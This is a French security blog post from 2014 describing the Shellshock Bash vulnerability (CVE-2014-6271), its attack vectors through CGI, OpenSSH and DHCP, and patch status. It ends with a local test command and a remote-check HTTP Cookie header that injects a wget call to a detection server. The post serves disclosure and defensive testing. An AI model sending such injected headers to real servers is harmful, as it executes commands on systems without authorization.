Vulnérabilité Bash – Exécution de code dans une variable d’environnement

/, Technique/Vulnérabilité Bash – Exécution de code dans une variable d’environnement

Vulnérabilité Bash – Exécution de code dans une variable d’environnement

Par | 2014-09-25T10:29:46+02:00 septembre 25th, 2014|Actualité, Technique|

Une vulnérabilité « amusante » a été découverte dans les versions de Bash jusqu’à la 4.3 (CVE-2014-6271). Celle-ci pourrait faire parler d’elle au même titre qu’Heartbleed.

Bash ne stoppant pas l’interprétation des données à la suite d’une définition de fonction dans les variables d’environnement, un attaquant peut forger une variable contenant du code qui sera exécuté dès que le shell est appelé.

Vous n’avez pas encore peur ? ca va venir…

Certains programmes utilisent le shell Bash et traitent des variables d’environnement, et c’est la que le bas blesse : on se retrouve avec une exécution de code à distance sans authentification.
Parmi les programmes en question on trouve :

  • Apache avec le mod_cgi activé. Le serveur utilise les variables d’environnement pour passer des données aux scripts CGI. Si le script utilise bash, un attaquant peut exécuter du code.
  • OpenSSH si le paramètre ForceCommand est utilisé pour restreindre les actions d’un utilisateur. La vulnérabilité permet d’exécuter n’importe quelle commande.
  • Dhclient: le client DHCP utilise Bash et les variables d’environnement pour configurer le réseau. Un attaquant pourrait créer un serveur DHCP malicieux pour exécuter du code sur la machine cliente.

On ne devrait pas tarder à voir apparaitre des programmes malicieux automatisant cette vulnérabilité à la recherche

  • D’une page CGI spécifique – page de configuration de firewall ou de serveur par exemple
  • De toutes pages CGI via un crawler web
  • De la mise en place d’un faux serveur DHCP dans un système d’information – attention aux dégâts

Une mise à jour est disponible sur la plupart des distributions linux (rien chez Apple pour l’instant)

Une nouvelle fois les objets connectés et autres linux embarqués (dont les mises à jour sont sporadiques voire impossible) risquent d’être des cibles de choix.

 

Pour vérifier localement si vous êtes vulnérables, exécuter en mode console:

# env x='() { :;}; echo je suis vulnérable' bash -c ""

Pour vérifier l’exploitation à distance sur un serveur contenant des scripts CGI, une requête pourrait être forgée pour inclure un header malicieux:

Cookie:() { :; }; wget -q http://detection_server/bash_stat.txt -O /dev/null

Il suffit en suite de vérifier sur le serveur de détection les tentatives d’accès à l’url bash_stat.txt